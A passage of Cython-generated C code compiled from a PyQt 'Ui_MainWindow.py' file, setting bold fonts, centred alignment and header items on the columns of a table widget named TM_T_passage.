__Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; /* "Ui_MainWindow.py":924 * font = QtGui.QFont() * font.setBold(True) * font.setWeight(75) # <<<<<<<<<<<<<< * item.setFont(font) * self.TM_T_passage.setHorizontalHeaderItem(3, item) */ __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_v_font, __pyx_n_s_setWeight); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 924, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_4, __pyx_tuple__575, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 924, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "Ui_MainWindow.py":925 * font.setBold(True) * font.setWeight(75) * item.setFont(font) # <<<<<<<<<<<<<< * self.TM_T_passage.setHorizontalHeaderItem(3, item) * item = QtWidgets.QTableWidgetItem() */ __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_v_item, __pyx_n_s_setFont); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 925, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __pyx_t_9 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_4))) { __pyx_t_9 = PyMethod_GET_SELF(__pyx_t_4); if (likely(__pyx_t_9)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_4); __Pyx_INCREF(__pyx_t_9); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_4, function); } } if (!__pyx_t_9) { __pyx_t_1 = __Pyx_PyObject_CallOneArg(__pyx_t_4, __pyx_v_font); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 925, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_4)) { PyObject *__pyx_temp[2] = {__pyx_t_9, __pyx_v_font}; __pyx_t_1 = __Pyx_PyFunction_FastCall(__pyx_t_4, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 925, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_9); __pyx_t_9 = 0; __Pyx_GOTREF(__pyx_t_1); } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_4)) { PyObject *__pyx_temp[2] = {__pyx_t_9, __pyx_v_font}; __pyx_t_1 = __Pyx_PyCFunction_FastCall(__pyx_t_4, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 925, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_9); __pyx_t_9 = 0; __Pyx_GOTREF(__pyx_t_1); } else #endif { __pyx_t_6 = PyTuple_New(1+1); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 925, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_GIVEREF(__pyx_t_9); PyTuple_SET_ITEM(__pyx_t_6, 0, __pyx_t_9); __pyx_t_9 = NULL; __Pyx_INCREF(__pyx_v_font); __Pyx_GIVEREF(__pyx_v_font); PyTuple_SET_ITEM(__pyx_t_6, 0+1, __pyx_v_font); __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_4, __pyx_t_6, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 925, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; } } __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "Ui_MainWindow.py":926 * font.setWeight(75) * item.setFont(font) * self.TM_T_passage.setHorizontalHeaderItem(3, item) # <<<<<<<<<<<<<< * item = QtWidgets.QTableWidgetItem() * item.setTextAlignment(QtCore.Qt.AlignCenter) */ __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_TM_T_passage); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 926, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_t_4, __pyx_n_s_setHorizontalHeaderItem); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 926, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __pyx_t_4 = NULL; __pyx_t_8 = 0; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_6))) { __pyx_t_4 = PyMethod_GET_SELF(__pyx_t_6); if (likely(__pyx_t_4)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_6); __Pyx_INCREF(__pyx_t_4); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_6, function); __pyx_t_8 = 1; } } #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_6)) { PyObject *__pyx_temp[3] = {__pyx_t_4, __pyx_int_3, __pyx_v_item}; __pyx_t_1 = __Pyx_PyFunction_FastCall(__pyx_t_6, __pyx_temp+1-__pyx_t_8, 2+__pyx_t_8); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 926, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_GOTREF(__pyx_t_1); } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_6)) { PyObject *__pyx_temp[3] = {__pyx_t_4, __pyx_int_3, __pyx_v_item}; __pyx_t_1 = __Pyx_PyCFunction_FastCall(__pyx_t_6, __pyx_temp+1-__pyx_t_8, 2+__pyx_t_8); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 926, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_GOTREF(__pyx_t_1); } else #endif { __pyx_t_9 = PyTuple_New(2+__pyx_t_8); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 926, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); if (__pyx_t_4) { __Pyx_GIVEREF(__pyx_t_4); PyTuple_SET_ITEM(__pyx_t_9, 0, __pyx_t_4); __pyx_t_4 = NULL; } __Pyx_INCREF(__pyx_int_3); __Pyx_GIVEREF(__pyx_int_3); PyTuple_SET_ITEM(__pyx_t_9, 0+__pyx_t_8, __pyx_int_3); __Pyx_INCREF(__pyx_v_item); __Pyx_GIVEREF(__pyx_v_item); PyTuple_SET_ITEM(__pyx_t_9, 1+__pyx_t_8, __pyx_v_item); __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_6, __pyx_t_9, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 926, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; } __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "Ui_MainWindow.py":927 * item.setFont(font) * self.TM_T_passage.setHorizontalHeaderItem(3, item) * item = QtWidgets.QTableWidgetItem() # <<<<<<<<<<<<<< * item.setTextAlignment(QtCore.Qt.AlignCenter) * font = QtGui.QFont() */ __pyx_t_6 = __Pyx_GetModuleGlobalName(__pyx_n_s_QtWidgets); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 927, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __pyx_t_9 = __Pyx_PyObject_GetAttrStr(__pyx_t_6, __pyx_n_s_QTableWidgetItem); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 927, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __pyx_t_6 = NULL; if (CYTHON_UNPACK_METHODS && unlikely(PyMethod_Check(__pyx_t_9))) { __pyx_t_6 = PyMethod_GET_SELF(__pyx_t_9); if (likely(__pyx_t_6)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_9); __Pyx_INCREF(__pyx_t_6); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_9, function); } } if (__pyx_t_6) { __pyx_t_1 = __Pyx_PyObject_CallOneArg(__pyx_t_9, __pyx_t_6); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 927, __pyx_L1_error) __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; } else { __pyx_t_1 = __Pyx_PyObject_CallNoArg(__pyx_t_9); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 927, __pyx_L1_error) } __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; __Pyx_DECREF_SET(__pyx_v_item, __pyx_t_1); __pyx_t_1 = 0; /* "Ui_MainWindow.py":928 * self.TM_T_passage.setHorizontalHeaderItem(3, item) * item = QtWidgets.QTableWidgetItem() * item.setTextAlignment(QtCore.Qt.AlignCenter) # <<<<<<<<<<<<<< * font = QtGui.QFont() * font.setBold(True) */ __pyx_t_9 = __Pyx_PyObject_GetAttrStr(__pyx_v_item, __pyx_n_s_setTextAlignment); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 928, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); __pyx_t_6 = __Pyx_GetModuleGlobalName(__pyx_n_s_QtCore); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 928, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_6, __pyx_n_s_Qt); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 928, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_t_4, __pyx_n_s_AlignCenter); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 928, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __pyx_t_4 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_9))) { __pyx_t_4 = PyMethod_GET_SELF(__pyx_t_9); if (likely(__pyx_t_4)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_9); __Pyx_INCREF(__pyx_t_4); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_9, function); } } if (!__pyx_t_4) { __pyx_t_1 = __Pyx_PyObject_CallOneArg(__pyx_t_9, __pyx_t_6); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 928, __pyx_L1_error) __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_GOTREF(__pyx_t_1); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_9)) { PyObject *__pyx_temp[2] = {__pyx_t_4, __pyx_t_6}; __pyx_t_1 = __Pyx_PyFunction_FastCall(__pyx_t_9, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 928, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_9)) { PyObject *__pyx_temp[2] = {__pyx_t_4, __pyx_t_6}; __pyx_t_1 = __Pyx_PyCFunction_FastCall(__pyx_t_9, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 928, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; } else #endif { __pyx_t_7 = PyTuple_New(1+1); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 928, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_GIVEREF(__pyx_t_4); PyTuple_SET_ITEM(__pyx_t_7, 0, __pyx_t_4); __pyx_t_4 = NULL; __Pyx_GIVEREF(__pyx_t_6); PyTuple_SET_ITEM(__pyx_t_7, 0+1, __pyx_t_6); __pyx_t_6 = 0; __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_9, __pyx_t_7, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 928, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; } } __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "Ui_MainWindow.py":929 * item = QtWidgets.QTableWidgetItem() * item.setTextAlignment(QtCore.Qt.AlignCenter) * font = QtGui.QFont() # <<<<<<<<<<<<<< * font.setBold(True) * font.setWeight(75) */ __pyx_t_9 = __Pyx_GetModuleGlobalName(__pyx_n_s_QtGui); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 929, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_t_9, __pyx_n_s_QFont); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 929, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; __pyx_t_9 = NULL; if (CYTHON_UNPACK_METHODS && unlikely(PyMethod_Check(__pyx_t_7))) { __pyx_t_9 = PyMethod_GET_SELF(__pyx_t_7); if (likely(__pyx_t_9)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_7); __Pyx_INCREF(__pyx_t_9); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_7, function); } } if (__pyx_t_9) { __pyx_t_1 = __Pyx_PyObject_CallOneArg(__pyx_t_7, __pyx_t_9); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 929, __pyx_L1_error) __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; } else { __pyx_t_1 = __Pyx_PyObject_CallNoArg(__pyx_t_7); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 929, __pyx_L1_error) } __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __Pyx_DECREF_SET(__pyx_v_font, __pyx_t_1); __pyx_t_1 = 0; /* "Ui_MainWindow.py":930 * item.setTextAlignment(QtCore.Qt.AlignCenter) * font = QtGui.QFont() * font.setBold(True) # <<<<<<<<<<<<<< * font.setWeight(75) * item.setFont(font) */ __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_v_font, __pyx_n_s_setBold); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 930, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_7 = __Pyx_PyObject_Call(__pyx_t_1, __pyx_tuple__576, NULL); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 930, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; /* "Ui_MainWindow.py":931 * font = QtGui.QFont() * font.setBold(True) * font.setWeight(75) # <<<<<<<<<<<<<< * item.setFont(font) * self.TM_T_passage.setHorizontalHeaderItem(4, item) */ __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_v_font, __pyx_n_s_setWeight); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 931, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_7, __pyx_tuple__577, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 931, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "Ui_MainWindow.py":932 * font.setBold(True) * font.setWeight(75) * item.setFont(font) # <<<<<<<<<<<<<< * self.TM_T_passage.setHorizontalHeaderItem(4, item) * item = QtWidgets.QTableWidgetItem() */ __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_v_item, __pyx_n_s_setFont); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 932, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __pyx_t_9 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_7))) { __pyx_t_9 = PyMethod_GET_SELF(__pyx_t_7); if (likely(__pyx_t_9)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_7); __Pyx_INCREF(__pyx_t_9); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_7, function); } } if (!__pyx_t_9) { __pyx_t_1 = __Pyx_PyObject_CallOneArg(__pyx_t_7, __pyx_v_font); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 932, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_7)) { PyObject *__pyx_temp[2] = {__pyx_t_9, __pyx_v_font}; __pyx_t_1 = __Pyx_PyFunction_FastCall(__pyx_t_7, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 932, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_9); __pyx_t_9 = 0; __Pyx_GOTREF(__pyx_t_1); } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_7)) { PyObject *__pyx_temp[2] = {__pyx_t_9, __pyx_v_font}; __pyx_t_1 = __Pyx_PyCFunction_FastCall(__pyx_t_7, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 932, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_9); __pyx_t_9 = 0; __Pyx_GOTREF(__pyx_t_1); } else #endif { __pyx_t_6 = PyTuple_New(1+1); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 932, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_GIVEREF(__pyx_t_9); PyTuple_SET_ITEM(__pyx_t_6, 0, __pyx_t_9); __pyx_t_9 = NULL; __Pyx_INCREF(__pyx_v_font); __Pyx_GIVEREF(__pyx_v_font); PyTuple_SET_ITEM(__pyx_t_6, 0+1, __pyx_v_font); __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_7, __pyx_t_6, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 932, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; } } __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "Ui_MainWindow.py":933 * font.setWeight(75) * item.setFont(font) * self.TM_T_passage.setHorizontalHeaderItem(4, item) # <<<<<<<<<<<<<< * item = QtWidgets.QTableWidgetItem() * item.setTextAlignment(QtCore.Qt.AlignCenter) */ __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_TM_T_passage); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 933, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_t_7, __pyx_n_s_setHorizontalHeaderItem); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 933, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __pyx_t_7 = NULL; __pyx_t_8 = 0; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_6))) { __pyx_t_7 = PyMethod_GET_SELF(__pyx_t_6); if (likely(__pyx_t_7)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_6); __Pyx_INCREF(__pyx_t_7); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_6, function); __pyx_t_8 = 1; } } #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_6)) { PyObject *__pyx_temp[3] = {__pyx_t_7, __pyx_int_4, __pyx_v_item}; __pyx_t_1 = __Pyx_PyFunction_FastCall(__pyx_t_6, __pyx_temp+1-__pyx_t_8, 2+__pyx_t_8); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 933, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_7); __pyx_t_7 = 0; __Pyx_GOTREF(__pyx_t_1); } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_6)) { PyObject *__pyx_temp[3] = {__pyx_t_7, __pyx_int_4, __pyx_v_item}; __pyx_t_1 = __Pyx_PyCFunction_FastCall(__pyx_t_6, __pyx_temp+1-__pyx_t_8, 2+__pyx_t_8); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 933, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_7); __pyx_t_7 = 0; __Pyx_GOTREF(__pyx_t_1); } else #endif { __pyx_t_9 = PyTuple_New(2+__pyx_t_8); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 933, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); if (__pyx_t_7) { __Pyx_GIVEREF(__pyx_t_7); PyTuple_SET_ITEM(__pyx_t_9, 0, __pyx_t_7); __pyx_t_7 = NULL; } __Pyx_INCREF(__pyx_int_4); __Pyx_GIVEREF(__pyx_int_4); PyTuple_SET_ITEM(__pyx_t_9, 0+__pyx_t_8, __pyx_int_4); __Pyx_INCREF(__pyx_v_item); __Pyx_GIVEREF(__pyx_v_item); PyTuple_SET_ITEM(__pyx_t_9, 1+__pyx_t_8, __pyx_v_item); __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_6, __pyx_t_9, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 933, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; } __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "Ui_MainWindow.py":934 * item.setFont(font) * self.TM_T_passage.setHorizontalHeaderItem(4, item) * item = QtWidgets.QTableWidgetItem() # <<<<<<<<<<<<<< * item.setTextAlignment(QtCore.Qt.AlignCenter) * font = QtGui.QFont() */ __pyx_t_6 = __Pyx_GetModuleGlobalName(__pyx_n_s_QtWidgets); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 934, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __pyx_t_9 = __Pyx_PyObject_GetAttrStr(__pyx_t_6, __pyx_n_s_QTableWidgetItem); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 934, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __pyx_t_6 = NULL; if (CYTHON_UNPACK_METHODS && unlikely(PyMethod_Check(__pyx_t_9))) { __pyx_t_6 = PyMethod_GET_SELF(__pyx_t_9); if (likely(__pyx_t_6)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_9); __Pyx_INCREF(__pyx_t_6); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_9, function); } } if (__pyx_t_6) { __pyx_t_1 = __Pyx_PyObject_CallOneArg(__pyx_t_9, __pyx_t_6); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 934, __pyx_L1_error) __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; } else { __pyx_t_1 = __Pyx_PyObject_CallNoArg(__pyx_t_9); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 934, __pyx_L1_error) } __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; __Pyx_DECREF_SET(__pyx_v_item, __pyx_t_1); __pyx_t_1 = 0; /* "Ui_MainWindow.py":935 * self.TM_T_passage.setHorizontalHeaderItem(4, item) * item = QtWidgets.QTableWidgetItem() * item.setTextAlignment(QtCore.Qt.AlignCenter) # <<<<<<<<<<<<<< * font = QtGui.QFont() * font.setBold(True) */ __pyx_t_9 = __Pyx_PyObject_GetAttrStr(__pyx_v_item, __pyx_n_s_setTextAlignment); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 935, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); __pyx_t_6 = __Pyx_GetModuleGlobalName(__pyx_n_s_QtCore); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 935, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_t_6, __pyx_n_s_Qt); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 935, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_t_7, __pyx_n_s_AlignCenter); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 935, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __pyx_t_7 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_9))) { __pyx_t_7 = PyMethod_GET_SELF(__pyx_t_9); if (likely(__pyx_t_7)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_9); __Pyx_INCREF(__pyx_t_7); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_9, function); } } if (!__pyx_t_7) { __pyx_t_1 = __Pyx_PyObject_CallOneArg(__pyx_t_9, __pyx_t_6); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 935, __pyx_L1_error) __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_GOTREF(__pyx_t_1); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_9)) { PyObject *__pyx_temp[2] = {__pyx_t_7, __pyx_t_6}; __pyx_t_1 = __Pyx_PyFunction_FastCall(__pyx_t_9, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 935, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_7); __pyx_t_7 = 0; __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_9)) { PyObject *__pyx_temp[2] = {__pyx_t_7, __pyx_t_6}; __pyx_t_1 = __Pyx_PyCFunction_FastCall(__pyx_t_9, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 935, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_7); __pyx_t_7 = 0; __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; } else #endif { __pyx_t_4 = PyTuple_New(1+1); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 935, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_GIVEREF(__pyx_t_7); PyTuple_SET_ITEM(__pyx_t_4, 0, __pyx_t_7); __pyx_t_7 = NULL; __Pyx_GIVEREF(__pyx_t_6); PyTuple_SET_ITEM(__pyx_t_4, 0+1, __pyx_t_6); __pyx_t_6 = 0; __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_9, __pyx_t_4, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 935, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } } __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "Ui_MainWindow.py":936 * item = QtWidgets.QTableWidgetItem() * item.setTextAlignment(QtCore.Qt.AlignCenter) * font = QtGui.QFont() # <<<<<<<<<<<<<< * font.setBold(True) * font.setWeight(75) */ __pyx_t_9 = __Pyx_GetModuleGlobalName(__pyx_n_s_QtGui); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 936, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_9, __pyx_n_s_QFont); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 936, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; __pyx_t_9 = NULL; if (CYTHON_UNPACK_METHODS && unlikely(PyMethod_Check(__pyx_t_4))) { __pyx_t_9 = PyMethod_GET_SELF(__pyx_t_4); if (likely(__pyx_t_9)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_4); __Pyx_INCREF(__pyx_t_9); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_4, function); } } if (__pyx_t_9) { __pyx_t_1 = __Pyx_PyObject_CallOneArg(__pyx_t_4, __pyx_t_9); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 936, __pyx_L1_error) __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; } else { __pyx_t_1 = __Pyx_PyObject_CallNoArg(__pyx_t_4); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 936, __pyx_L1_error) } 